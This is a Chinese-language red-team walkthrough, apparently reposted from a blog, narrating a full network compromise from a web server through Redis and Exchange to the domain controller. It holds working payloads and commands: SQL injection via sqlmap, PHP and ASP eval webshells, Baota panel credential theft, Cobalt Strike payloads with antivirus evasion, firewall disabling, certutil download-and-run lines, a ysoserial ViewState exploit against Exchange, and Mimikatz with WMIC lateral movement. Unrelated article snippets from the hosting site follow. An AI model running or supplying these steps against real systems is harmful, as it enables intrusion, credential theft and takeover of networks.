红队攻防实战系列一之Cobalt Strike

他日若遂凌云志,敢笑黄巢不丈夫

本文首发于先知社区,原创作者即是本人

前言

在红队攻防中,需要我们拥有综合能力,不仅仅是web渗透的漏洞挖掘与利用,边界突破的方式有很多种,当然这需要我们拥有很强的意识,包括从web网站撕破口子,需要对各种漏洞的原理与利用了然于心,或者是通过社工钓鱼等方式,还需要我们拥有很强的代码功底,从代码的层面去分析问题,或者去写相关脚本进行利用,需要我们具有与杀软对抗的能力,需要我们熟悉web渗透,内网渗透,红队攻防的流程,进入内网之后,快速分析网络环境,以及自己所处的位置,找到拿到目标的最佳方法。

第一层 DMZ区

访问目标站点

在这里插入图片描述

端口扫描
nmap -sT xxx.xxx.xxx.xxx

在这里插入图片描述

目录扫描:

在这里插入图片描述

把它的备份文件下载到了本地,解压源码进行代码审计

代码审计拿密码

搜索请求类型:GET、POST、COOKIE、REQUST、SESSION
尽可能的找到一些关键点比如下面的“MYSQLBAKPASSWORD”

在这里插入图片描述

全局搜索这个关键点

在这里插入图片描述

d94354ac9cf3024f57409bd74eec6b4c使用MD5解密为:adminadminadmin

在这里插入图片描述

搜索关键点:密码
找到一个请求方法
“?action=mysqldatabak_down&pwd=您设置的数据库备份密码”

在这里插入图片描述

全局搜索这个方法名“mysqldatabak_down”

在这里插入图片描述

找到一个数据库备份下载的页面,尝试去访问
http://xxx.xxx.xxx/kss_admin/admin_data.php

在这里插入图片描述

却提示未知的方法请求,上面的说到找到了密码和一个请求方法,可以直接利用:
http://xxx.xxx.xxx/kss_admin/admin_data.php?action=mysqldatabak_down&pwd=adminadminadmin

在这里插入图片描述

访问后直接下载数据库备份文件,这时候就可以尝试找管理员账号密码进行登录。
检查配置文件是否存留本地
得到数据库备份文件后就自行导入数据库
启动phpstudy,打开MySQL_Front工具

在这里插入图片描述

新建数据库,输入SQL文件

在这里插入图片描述

注意字符集是UTF-8

在这里插入图片描述

找到管理员账号密码进行登录,这里可以找到解密后的密码

在这里插入图片描述

SQL注入拿密码

hackbar构造payload:

http://xxx.xxx.xxx/kss_inc/payapi_return2.php
v_oid=' or 1=1 #&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

v_oid存在布尔盲注,为真的时候返回订单金额不符

在这里插入图片描述

为假的时候返回,订单未找到

在这里插入图片描述

请求包如下:

POST /kss_inc/payapi_return2.php HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 71
Cache-Control: max-age=0
Origin: http://xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: xxx.xxx.xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.xxx.xxx/kss_inc/payapi_return2.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: xxx.xxx.xxx
Connection: closev_oid=*&v_pstatus=20&v_amount=1&v_moneytype=1&remark1=1&v_md5str=121212

保存成sql.txt

python3 sqlmap.py -r sql.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D "xxx" -T "kss_tb_manager" --batch

在这里插入图片描述

成功注入出账号和密码

代码审计拿shell

数据库备份邮箱拿shell

发现密码是存留在配置文件里的,那就反回去看配置文件是否可以利用

在这里插入图片描述

攻击地址:
http://xxx.xxx.xxx/
输入账号密码,登录后发现系统设置页面是/kss_inc/_config.php文件里的内容,是可以直接写入webshell

在这里插入图片描述

如:');@eval($_POST[a]);('

在这里插入图片描述

连接地址:

http://xxx.xxx.xxx/kss_inc/_config.php
http://xxx.xxx.xxx/kss_admin/index.php

密码:a

在这里插入图片描述

木马写入在

在这里插入图片描述

后台shell

构造payload:

http://x.x.x/kss_admin/admin_update.php?pakname=../test/kss_admin/index.php?action='<?php%2520eval($_POST[aye]);echo%2520"aye666"?>

漏洞利用

在这里插入图片描述

连接地址:
http://x.x.x/kss_tool/_webup.php
密码:aye

在这里插入图片描述

提权宝塔系统Bypass Disable Function

禁用函数
passthru,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,putenv,exec
既然“宝塔”禁用这么多函数,权限却是“system”,那就找找宝塔的配置文件、后台路径。
后台路径:C:/BtSoft/panel/panel/data/admin_path.pl
http://xxx.xxx.xxx:8888/e1VOsmtO/

在这里插入图片描述

密码:C:/BtSoft/panel/data/default.pl(初始默认密码)
jSKyFFdj

在这里插入图片描述

宝塔的登录端口C:/BtSoft/panel/data/port.pl

在这里插入图片描述

8888
登录账号:C:/BtSoft/panel/panel/data/default.db(账号和加密的密码)

在这里插入图片描述

然后通过把宝塔的 default.db 文件下载到本地打开,users 表里就是宝塔的登陆账号密码:
成功登录
在这里插入图片描述

成功登录

在这里插入图片描述

进入后台后可以考虑计划任务命令执行或者直接点,解封一个命令执行函数

在这里插入图片描述

成功执行命令

在这里插入图片描述

查看进程:tasklist

在这里插入图片描述

存在火绒

在这里插入图片描述

cs拿shell

打开CS,这是个服务器与客户端多对多架构的工具,先开服务端
./teamserver x.x.x admin
在Listeners面板中点击Add按钮,新建一个监听器,如图

在这里插入图片描述

生成Payload 这里使用Pakages生成一个Payload。在菜单栏中依次选择Attacks→Pakages→Payload Generator命令,如图

在这里插入图片描述

保持默认配置,选择已经创建的监听器,设置输出类型为powershell,注意勾选x64,然后点击Generate按钮, 如图

在这里插入图片描述

这里把ps1传到个人服务器做远程加载演示,服务器一定要能被访问到,上传后可访问,下一步,即执行powershell命令,可powershell行为特征也被火绒记录在册,可通过对部分命令进行修改,绕过火绒该防护,免杀部分会单独分享,此处只提供作为红队攻击成员如何实战。

在这里插入图片描述

成功绕过火绒的防护,cs成功上线

在这里插入图片描述

注入进程

在这里插入图片描述

进行信息收集

抓取到hash

在这里插入图片描述

通过解密得到了 administrator 的密码
查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的

!在这里插入图片描述

关闭防火墙
shell netsh advfirewall set allprofiles state off

在这里插入图片描述

打开3389端口

在这里插入图片描述

绕过火绒添加用户
蚂蚁剑或者cs上传添加用户的exe文件并运行

在这里插入图片描述

远程登陆

在这里插入图片描述

第二层 办公区

Earthworm穿透

上传EW(Earthworm)到C:/wwwroot/

在这里插入图片描述

服务器端执行以下命令(关掉目标站的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090

在这里插入图片描述

这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf
socks5 x.x.x 1090

在这里插入图片描述

探测内网网段存活主机
proxychains nmap -sT -Pn -p 80 x.x.x.0/24

在这里插入图片描述

192.168.59.4是存活的,我们着重看一下,发现开了80和6379

Redis-getshell

kali环境进行爆破
proxychains hydra -P /usr/share/john/password.lst 192.168.59.4 redis 6379

在这里插入图片描述

连接redis
cd /redis-stable
proxychains src/redis-cli -h 192.168.59.4 -a xxxx

在这里插入图片描述

备份文件写Shell

192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot"   进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp"       创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>"   写入webshell
192.168.59.4:6379>save                                    最后保存

利用过程

在这里插入图片描述

代理蚁剑进行连接这个shell

在这里插入图片描述

连接地址
http://192.168.59.4/redis.asp
密码
chopper
成功连接到server-redis

在这里插入图片描述

并查看权限

在这里插入图片描述

利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下

在这里插入图片描述

成功进行提权

在这里插入图片描述

cs拿到shell

然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马

在这里插入图片描述

对生成的exe文件进行免杀

在这里插入图片描述

先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警

在这里插入图片描述

通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马

C:\ProgramData\xx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/beacon.exe beacon.exe

在这里插入图片描述

再通过提权工具进行执行

C:\ProgramData\xx.exe -i -c "beacon.exe"

在这里插入图片描述

此时查看cs,已成功上线

在这里插入图片描述

同样注入进程

进行信息收集

shell ipconfig

在这里插入图片描述

logonpasswords

在这里插入图片描述

查看防火墙(需要administrator权限)
shell netsh firewall show state
可以看到防火墙是开启的

在这里插入图片描述

关闭防火墙
shell netsh advfirewall set allprofiles state off

在这里插入图片描述

打开3389端口

在这里插入图片描述

挂代理,通过之前上传的EW(Earthworm)到C:/wwwroot/
Proxifier配置

在这里插入图片描述

可以通过redis的shell进行操作添加用户,也可以使用cs添加用户

远程登陆

在这里插入图片描述

第三层 核心区

通过蚂蚁剑将nbtscan.exe上传到第二层的Redis可读写目录下

在这里插入图片描述

探测内网段存活
nbtscan.exe 10.10.10.0/24

在这里插入图片描述

代理出网,拿下邮服

此时绘制出整个目标网络拓扑图如下:

在这里插入图片描述

将ew上传到bt和redis

在这里插入图片描述

首先,在VPS上开启如下监听,将1080端口监听的流量都转发到本地的888端口(关掉防火墙,要能够相互访问)
ew.exe -s lcx_listen -l 1080 -e 888

在这里插入图片描述

然后在服务器B上执行如下命令,监听本地的999端口
execute C:\ew.exe -s ssocksd -l 999

在这里插入图片描述

最后在服务器A上执行如下命令,将VPS的888端口和服务器B的999端口连接起来
execute C:\ew.exe -s lcx_slave -d x.x.x.x -e 888 -f 192.168.59.4 -g 999

在这里插入图片描述

以上命令都执行完之后,设置socks5代理为VPS的1080端口

在这里插入图片描述

即可成功访问目标的exchange服务。
https://10.10.10.209/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f10.10.10.209%2fowa%2f%23authRedirect%3dtrue

在这里插入图片描述

对ex13进行攻击

nmap -sT 10.10.10.209 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389

在这里插入图片描述

蚂蚁剑可通过更改代理进行连接

在这里插入图片描述

在 Redis 上的“C:\Users\Administrator\Documents\Outlook文件\”找到对应文件以及关键邮箱找到了 pts 文件:

在这里插入图片描述

下载到本地,通过将两个pst导入outlook可以看到exchange的一个账号密码

在这里插入图片描述

登陆成功,访问https://10.10.10.209/ecp/default.aspx
获取viewstateuserkey

在这里插入图片描述

__VIEWSTATEGENERATOR=B97B4E27

在这里插入图片描述

cs拿到shell

然后设置中转监听,这个监听IP要内网可以通信的内网IP,然后生成木马
将木马通过cs上传到redis服务器的redis目录下

在这里插入图片描述

使用exp执行payload:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /ccertutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe" --validationalg="SHA1" --validationkey="CB2721xx89A25303BF" --generator="B97xxE27" --viewstateuserkey="80xxxce6f" --isdebug –islegacy

在这里插入图片描述

生成的payload,进行url编码

在这里插入图片描述

拼接成攻击的链接,反弹shell,得到Exchange服务器的System权限的会话

https://10.10.10.209/ecp/default.aspx?__VIEWSTATEGENERATOR=xxx&__VIEWSTATE=xxx

此时页面会返回500错误

在这里插入图片描述

查看cs,已上线

在这里插入图片描述

同样迁移进程
或者下载后门文件到exchange

第三层 域控

拿下域控

读取到本地有dc账号记录,那就可以直接用wmic横向操作一波
Mimikatz抓取到dc的账号密码

在这里插入图片描述

在server-ex机器上使用自带的WMIC.exe执行命令

shell C:\Windows\System32\wbem\WMIC.exe /node:10.10.10.201 /user:Administrator /password:xxx process call create "cmd /c certutil -urlcache -split -f http://10.10.10.202/ex13.exe ex13.exe && ex13.exe"

在这里插入图片描述

成功上线cs

在这里插入图片描述

同样迁移进程
同样添加用户
同样挂代理

远程登陆

在这里插入图片描述

总结

在红队攻防实战中,作为一名红队攻击成员,要做到从外网进行边界突破,进入内网,绕过层层杀软与防护,分析面临的情况与问题,最终拿下目标。

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85​```https://www.freebuf.com/author/国服最强渗透掌控者)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/182768.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【LeetCode】101. 对称二叉树

101. 对称二叉树 难度&#xff1a;简单 题目 给你一个二叉树的根节点 root &#xff0c; 检查它是否轴对称。 示例 1&#xff1a; 输入&#xff1a;root [1,2,2,3,4,4,3] 输出&#xff1a;true示例 2&#xff1a; 输入&#xff1a;root [1,2,2,null,3,null,3] 输出&#…

图书管理系统源码,图书管理系统开发,图书借阅系统源码配置和运行图解源码已附加

目录 配置简介和软件条件 数据库附件配置 vs应用程序web.config配置数据库链接字符串 数据库文件脚本代码 配置简介和软件条件 所需要的软件是Vs2017以上数据库是Sqlserver2012以上&#xff0c;如果数据库附件不了可以使用数据库脚本附件数据库脚本会在文章末尾写出来。可以…

ArkTS-页面转场动画

页面转场动画 在全局pageTransition方法内配置页面入场和页面退场时的自定义转场动效 两个页面间发生跳转&#xff0c;一个页面消失&#xff0c;另一个页面出现&#xff0c;这时可以配置各自页面的页面转场参数实现自定义的页面转场效果。页面转场效果写在pageTransition函数中…

【Python】获取ip

要使用Python获取IP地址&#xff0c;可以使用socket库中的gethostname()函数和gethostbyname()函数。 import socketdef get_ip_address():hostname socket.gethostname()ip_address socket.gethostbyname(hostname)return ip_addressip get_ip_address() print("IP地…

【BUG合集】(一)①数据库存1/0,请求结果返回true和false;②sql查数据库能查,但mybatis查为空;③data64图片存储为异常;

前言 最近&#xff0c;在工作上接手的任务中&#xff0c;各种 bug 问题出现&#xff0c;在解决的同时也可以记录一下。因此&#xff0c;觉得可以出个记录 bug 合集。方便后来者碰到类似情况&#xff0c;可以作为一个参考进行解决。 文章题目就包含当前文章内容中所遇到的三个 b…

用行云管家实现IT统一运维管理,提高运维效率

随着公司业务的不断壮大&#xff0c;需要用到的IT系统也越来越多&#xff0c;使用起来耗时耗力。因此实现IT统一运维管理已成为提高运维效率、降低成本、优化资源配置的重要途径。这里我们小编告诉您&#xff0c;用行云管家实现IT统一运维管理&#xff0c;提高运维效率&#xf…

目标检测——R-CNN算法解读

论文&#xff1a;Rich feature hierarchies for accurate object detection and semantic segmentation 作者&#xff1a;Ross Girshick, Jeff Donahue, Trevor Darrell, Jitendra Malik 链接&#xff1a;https://arxiv.org/abs/1311.2524 代码&#xff1a;http://www.cs.berke…

高度自定义进度条实现完整代码附示意图

实现功能&#xff1a; 自定义一个进度条&#xff0c;能手动拖动进度条&#xff0c;也可以点击相应的进度&#xff0c;根据当前进度条的进度显示相应的内容。 效果图&#xff1a; 实现代码&#xff1a; 封装组件&#xff1a; <template><view class"boomBg&qu…

AIoT智能物联网平台技术架构参考

具体来说&#xff0c;AIoT平台能够实现智能终端设备之间、不同系统平台之间、不同应用场景之间的互融互通&#xff0c;进一步推动万物互联的进程。 AIoT智能物联网平台是结合了人工智能&#xff08;AI&#xff09;和物联网&#xff08;IoT&#xff09;技术的平台。它旨在通过物…

达梦数据库使用

达梦数据库使用 &#x1f4d1;前言 本文主要是【达梦数据库】——达梦数据库简单使用的文章&#xff0c;如果有什么需要改进的地方还请大佬指出⛺️ &#x1f3ac;作者简介&#xff1a;大家好&#xff0c;我是听风与他&#x1f947; ☁️博客首页&#xff1a;CSDN主页听风与他…

【Web】NodeJs相关例题wp

目录 ①[GKCTF 2020]ez三剑客-easynode ②[MoeCTF 2021]fake game ③[安洵杯 2020]Validator ④ [HZNUCTF 2023 final]eznode ⑤[CNSS] &#x1f3ed; EzPollution_pre ⑥[CNSS]✴️ EzPollution ①[GKCTF 2020]ez三剑客-easynode const express require(express); co…

如何缓解可观察性挑战?

可观察性正在成为当代 DevOps 实践的基石。即使传统上不属于 DevOps 的部门也看到了在可观察性团队的支持下带来的好处。然而&#xff0c;到 2023 年&#xff0c;组织发现采用之路比预期更加崎岖。以下是 DevOps 团队在可观察性方面面临的七个最大挑战以及一些缓解这些挑战的建…

数据结构 -- 并查集与图

目录 1.并查集 1.结构 2.原理 3.代码实现 1.存储 2.寻找根节点 3.是否为同一集合 4.求集合个数 5.合并为同一集合中 整体代码 2.图 1.基本知识 1.各个属性 2.特殊名词 3.图的解释 2.图的表示 1.邻接矩阵 2.邻接表 3.图的遍历 1.BFS--广度优先遍历 2.DFS--…

Spark on yarn 模式的安装与部署

任务描述 本关任务&#xff1a; Spark on YARN 模式的安装与部署。 相关知识 为了完成本关任务&#xff0c;你需要掌握&#xff1a; Spark 部署模式的种类&#xff1b;Spark on YARN 模式的安装。 Spark 部署模式 Spark 部署模式主要分为以下几种&#xff0c;Spark Stand…

2021年2月1日 Go生态洞察:VS Code Go扩展中默认启用Gopls

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

rss服务搭建记录

layout: post title: RSS subtitle: vps搭建RSS服务 date: 2023-11-27 author: Sprint#51264 header-img: img/post-bg-universe.jpg catalog: true tags: - 折腾 文章目录 引言RSShub-dockerRSS-radarFreshrssFluent reader获取fever api配置Fluent Reader同步 结语 引言 一个…

IDEA设置方法注释模板

目录 一.打开设置&#xff1a;File—>Settings... 二.选择Live Templates—>点击右侧 "" 号—>选择Template Group... 三.输入组名称&#xff0c;建议取容易理解的名字&#xff0c;点击OK 四.选中创建好的组&#xff0c;再次点击 "" 号&#…

“大型”基础模型中幻觉的调查

Abstract 基础模型 (FM) 中的幻觉是指生成偏离事实或包含捏造信息的内容。这篇调查论文广泛概述了近期旨在识别、阐明和解决幻觉问题的努力&#xff0c;特别关注“大型”基础模型&#xff08;LFM&#xff09;。该论文对LFM特有的各种类型的幻觉现象进行了分类&#xff0c;并建…

手撕A*算法(详解A*算法)

A*算法原理 全局路径规划算法&#xff0c;根据给定的起点和终点在全局地图上进行总体路径规划。 导航中使用A*算法计算出机器人到目标位置的最优路线&#xff0c;一般作为规划的参考路线 // 定义地图上的点 struct Point {int x,y; // 栅格行列Point(int x, int y):x(x),y(y){…

java学习part18抽象类

Java抽象类 详解-CSDN博客 111-面向对象(高级)-抽象类与抽象方法的使用_哔哩哔哩_bilibili 1.概念 2.抽象类 抽象类不能实例化&#xff0c;可以有属性&#xff0c;也可以有方法。 方法可以实现或者只声明不实现&#xff0c;要加一个abstract abstract class A{//定义一个抽…